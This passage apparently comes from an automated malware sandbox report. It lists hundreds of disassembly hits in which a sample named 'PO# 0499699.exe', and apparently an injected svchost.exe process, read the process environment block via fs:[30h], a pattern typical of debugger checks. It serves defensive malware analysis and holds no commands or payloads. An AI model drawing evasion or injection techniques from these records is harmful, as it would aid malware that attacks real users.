Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66C0A mov eax, dword ptr fs:[00000030h]	1_2_00C66C0A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66C0A mov eax, dword ptr fs:[00000030h]	1_2_00C66C0A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66C0A mov eax, dword ptr fs:[00000030h]	1_2_00C66C0A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66C0A mov eax, dword ptr fs:[00000030h]	1_2_00C66C0A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1BC2C mov eax, dword ptr fs:[00000030h]	1_2_00C1BC2C
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	1_2_00C66DC9
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	1_2_00C66DC9
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	1_2_00C66DC9
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66DC9 mov ecx, dword ptr fs:[00000030h]	1_2_00C66DC9
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	1_2_00C66DC9
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66DC9 mov eax, dword ptr fs:[00000030h]	1_2_00C66DC9
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	1_2_00CAFDE2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	1_2_00CAFDE2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	1_2_00CAFDE2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAFDE2 mov eax, dword ptr fs:[00000030h]	1_2_00CAFDE2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	1_2_00BE2D8A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	1_2_00BE2D8A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	1_2_00BE2D8A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	1_2_00BE2D8A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE2D8A mov eax, dword ptr fs:[00000030h]	1_2_00BE2D8A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C98DF1 mov eax, dword ptr fs:[00000030h]	1_2_00C98DF1
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C12581 mov eax, dword ptr fs:[00000030h]	1_2_00C12581
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C12581 mov eax, dword ptr fs:[00000030h]	1_2_00C12581
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C12581 mov eax, dword ptr fs:[00000030h]	1_2_00C12581
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C12581 mov eax, dword ptr fs:[00000030h]	1_2_00C12581
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1FD9B mov eax, dword ptr fs:[00000030h]	1_2_00C1FD9B
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1FD9B mov eax, dword ptr fs:[00000030h]	1_2_00C1FD9B
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFD5E0 mov eax, dword ptr fs:[00000030h]	1_2_00BFD5E0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFD5E0 mov eax, dword ptr fs:[00000030h]	1_2_00BFD5E0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C135A1 mov eax, dword ptr fs:[00000030h]	1_2_00C135A1
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB05AC mov eax, dword ptr fs:[00000030h]	1_2_00CB05AC
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB05AC mov eax, dword ptr fs:[00000030h]	1_2_00CB05AC
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C11DB5 mov eax, dword ptr fs:[00000030h]	1_2_00C11DB5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C11DB5 mov eax, dword ptr fs:[00000030h]	1_2_00C11DB5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C11DB5 mov eax, dword ptr fs:[00000030h]	1_2_00C11DB5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C23D43 mov eax, dword ptr fs:[00000030h]	1_2_00C23D43
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C63540 mov eax, dword ptr fs:[00000030h]	1_2_00C63540
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF3D34 mov eax, dword ptr fs:[00000030h]	1_2_00BF3D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEAD30 mov eax, dword ptr fs:[00000030h]	1_2_00BEAD30
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C07D50 mov eax, dword ptr fs:[00000030h]	1_2_00C07D50
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0C577 mov eax, dword ptr fs:[00000030h]	1_2_00C0C577
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0C577 mov eax, dword ptr fs:[00000030h]	1_2_00C0C577
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C6A537 mov eax, dword ptr fs:[00000030h]	1_2_00C6A537
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAE539 mov eax, dword ptr fs:[00000030h]	1_2_00CAE539
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C14D3B mov eax, dword ptr fs:[00000030h]	1_2_00C14D3B
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C14D3B mov eax, dword ptr fs:[00000030h]	1_2_00C14D3B
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C14D3B mov eax, dword ptr fs:[00000030h]	1_2_00C14D3B
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB8D34 mov eax, dword ptr fs:[00000030h]	1_2_00CB8D34
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C28EC7 mov eax, dword ptr fs:[00000030h]	1_2_00C28EC7
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C9FEC0 mov eax, dword ptr fs:[00000030h]	1_2_00C9FEC0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C136CC mov eax, dword ptr fs:[00000030h]	1_2_00C136CC
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB8ED6 mov eax, dword ptr fs:[00000030h]	1_2_00CB8ED6
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C116E0 mov ecx, dword ptr fs:[00000030h]	1_2_00C116E0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7FE87 mov eax, dword ptr fs:[00000030h]	1_2_00C7FE87
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF76E2 mov eax, dword ptr fs:[00000030h]	1_2_00BF76E2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C646A7 mov eax, dword ptr fs:[00000030h]	1_2_00C646A7
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB0EA5 mov eax, dword ptr fs:[00000030h]	1_2_00CB0EA5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB0EA5 mov eax, dword ptr fs:[00000030h]	1_2_00CB0EA5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB0EA5 mov eax, dword ptr fs:[00000030h]	1_2_00CB0EA5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAAE44 mov eax, dword ptr fs:[00000030h]	1_2_00CAAE44
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAAE44 mov eax, dword ptr fs:[00000030h]	1_2_00CAAE44
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEE620 mov eax, dword ptr fs:[00000030h]	1_2_00BEE620
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	1_2_00C0AE73
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	1_2_00C0AE73
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	1_2_00C0AE73
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	1_2_00C0AE73
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0AE73 mov eax, dword ptr fs:[00000030h]	1_2_00C0AE73
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEC600 mov eax, dword ptr fs:[00000030h]	1_2_00BEC600
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEC600 mov eax, dword ptr fs:[00000030h]	1_2_00BEC600
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEC600 mov eax, dword ptr fs:[00000030h]	1_2_00BEC600
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C18E00 mov eax, dword ptr fs:[00000030h]	1_2_00C18E00
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1608 mov eax, dword ptr fs:[00000030h]	1_2_00CA1608
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF766D mov eax, dword ptr fs:[00000030h]	1_2_00BF766D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1A61C mov eax, dword ptr fs:[00000030h]	1_2_00C1A61C
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1A61C mov eax, dword ptr fs:[00000030h]	1_2_00C1A61C
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C9FE3F mov eax, dword ptr fs:[00000030h]	1_2_00C9FE3F
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	1_2_00BF7E41
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	1_2_00BF7E41
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	1_2_00BF7E41
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	1_2_00BF7E41
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	1_2_00BF7E41
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF7E41 mov eax, dword ptr fs:[00000030h]	1_2_00BF7E41
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF8794 mov eax, dword ptr fs:[00000030h]	1_2_00BF8794
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C237F5 mov eax, dword ptr fs:[00000030h]	1_2_00C237F5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C67794 mov eax, dword ptr fs:[00000030h]	1_2_00C67794
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C67794 mov eax, dword ptr fs:[00000030h]	1_2_00C67794
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C67794 mov eax, dword ptr fs:[00000030h]	1_2_00C67794
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE4F2E mov eax, dword ptr fs:[00000030h]	1_2_00BE4F2E
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE4F2E mov eax, dword ptr fs:[00000030h]	1_2_00BE4F2E
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB8F6A mov eax, dword ptr fs:[00000030h]	1_2_00CB8F6A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB070D mov eax, dword ptr fs:[00000030h]	1_2_00CB070D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB070D mov eax, dword ptr fs:[00000030h]	1_2_00CB070D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1A70E mov eax, dword ptr fs:[00000030h]	1_2_00C1A70E
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1A70E mov eax, dword ptr fs:[00000030h]	1_2_00C1A70E
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0F716 mov eax, dword ptr fs:[00000030h]	1_2_00C0F716
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7FF10 mov eax, dword ptr fs:[00000030h]	1_2_00C7FF10
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7FF10 mov eax, dword ptr fs:[00000030h]	1_2_00C7FF10
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFFF60 mov eax, dword ptr fs:[00000030h]	1_2_00BFFF60
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1E730 mov eax, dword ptr fs:[00000030h]	1_2_00C1E730
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFEF40 mov eax, dword ptr fs:[00000030h]	1_2_00BFEF40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA53CA mov eax, dword ptr fs:[00000030h]	7_2_03CA53CA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CA53CA mov eax, dword ptr fs:[00000030h]	7_2_03CA53CA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C503E2 mov eax, dword ptr fs:[00000030h]	7_2_03C503E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C503E2 mov eax, dword ptr fs:[00000030h]	7_2_03C503E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C503E2 mov eax, dword ptr fs:[00000030h]	7_2_03C503E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C503E2 mov eax, dword ptr fs:[00000030h]	7_2_03C503E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C503E2 mov eax, dword ptr fs:[00000030h]	7_2_03C503E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C503E2 mov eax, dword ptr fs:[00000030h]	7_2_03C503E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4DBE9 mov eax, dword ptr fs:[00000030h]	7_2_03C4DBE9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD23E3 mov ecx, dword ptr fs:[00000030h]	7_2_03CD23E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD23E3 mov ecx, dword ptr fs:[00000030h]	7_2_03CD23E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD23E3 mov eax, dword ptr fs:[00000030h]	7_2_03CD23E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE138A mov eax, dword ptr fs:[00000030h]	7_2_03CE138A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C31B8F mov eax, dword ptr fs:[00000030h]	7_2_03C31B8F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C31B8F mov eax, dword ptr fs:[00000030h]	7_2_03C31B8F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDD380 mov ecx, dword ptr fs:[00000030h]	7_2_03CDD380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52397 mov eax, dword ptr fs:[00000030h]	7_2_03C52397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5B390 mov eax, dword ptr fs:[00000030h]	7_2_03C5B390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C54BAD mov eax, dword ptr fs:[00000030h]	7_2_03C54BAD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C54BAD mov eax, dword ptr fs:[00000030h]	7_2_03C54BAD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C54BAD mov eax, dword ptr fs:[00000030h]	7_2_03C54BAD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF5BA5 mov eax, dword ptr fs:[00000030h]	7_2_03CF5BA5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2DB40 mov eax, dword ptr fs:[00000030h]	7_2_03C2DB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF8B58 mov eax, dword ptr fs:[00000030h]	7_2_03CF8B58
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2F358 mov eax, dword ptr fs:[00000030h]	7_2_03C2F358
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2DB60 mov ecx, dword ptr fs:[00000030h]	7_2_03C2DB60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C53B7A mov eax, dword ptr fs:[00000030h]	7_2_03C53B7A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C53B7A mov eax, dword ptr fs:[00000030h]	7_2_03C53B7A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4A309 mov eax, dword ptr fs:[00000030h]	7_2_03C4A309
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE131B mov eax, dword ptr fs:[00000030h]	7_2_03CE131B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52ACB mov eax, dword ptr fs:[00000030h]	7_2_03C52ACB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52AE4 mov eax, dword ptr fs:[00000030h]	7_2_03C52AE4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE4AEF mov eax, dword ptr fs:[00000030h]	7_2_03CE4AEF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5D294 mov eax, dword ptr fs:[00000030h]	7_2_03C5D294
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5D294 mov eax, dword ptr fs:[00000030h]	7_2_03C5D294
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C252A5 mov eax, dword ptr fs:[00000030h]	7_2_03C252A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C252A5 mov eax, dword ptr fs:[00000030h]	7_2_03C252A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C252A5 mov eax, dword ptr fs:[00000030h]	7_2_03C252A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C252A5 mov eax, dword ptr fs:[00000030h]	7_2_03C252A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C252A5 mov eax, dword ptr fs:[00000030h]	7_2_03C252A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3AAB0 mov eax, dword ptr fs:[00000030h]	7_2_03C3AAB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3AAB0 mov eax, dword ptr fs:[00000030h]	7_2_03C3AAB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5FAB0 mov eax, dword ptr fs:[00000030h]	7_2_03C5FAB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C29240 mov eax, dword ptr fs:[00000030h]	7_2_03C29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C29240 mov eax, dword ptr fs:[00000030h]	7_2_03C29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C29240 mov eax, dword ptr fs:[00000030h]	7_2_03C29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C29240 mov eax, dword ptr fs:[00000030h]	7_2_03C29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEEA55 mov eax, dword ptr fs:[00000030h]	7_2_03CEEA55
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB4257 mov eax, dword ptr fs:[00000030h]	7_2_03CB4257
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDB260 mov eax, dword ptr fs:[00000030h]	7_2_03CDB260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDB260 mov eax, dword ptr fs:[00000030h]	7_2_03CDB260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF8A62 mov eax, dword ptr fs:[00000030h]	7_2_03CF8A62
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6927A mov eax, dword ptr fs:[00000030h]	7_2_03C6927A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C38A0A mov eax, dword ptr fs:[00000030h]	7_2_03C38A0A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C25210 mov eax, dword ptr fs:[00000030h]	7_2_03C25210
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C25210 mov ecx, dword ptr fs:[00000030h]	7_2_03C25210
